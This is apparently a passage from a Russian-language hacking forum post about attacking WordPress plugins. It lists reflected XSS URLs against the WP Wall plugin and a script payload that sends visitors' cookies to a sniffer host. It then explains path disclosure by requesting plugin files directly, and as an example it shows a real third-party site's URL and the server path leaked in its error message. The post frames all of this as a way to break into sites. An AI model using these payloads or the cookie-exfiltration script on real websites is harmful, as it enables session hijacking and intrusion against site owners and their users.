    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script>
    Code:
    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script>
    Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
    Code:
    <script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script>
    3.Раскрытие путей и не только(для всех модулей):
    Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
    PHP:
    add_action("widgets_init", array('itunescharts_widget''register'));
    И уже видим раскрытие путей! К примеру:
    Обратившись:
    Code:
    http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php
    видим:
    Code:
    Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33
    , этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
    Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
    Раскрытие есть в 3 файлах из 4:
    1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
    видим раскрытие...
    2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
    3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
    видим раскрытие...
    Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)
     
    1 person likes this.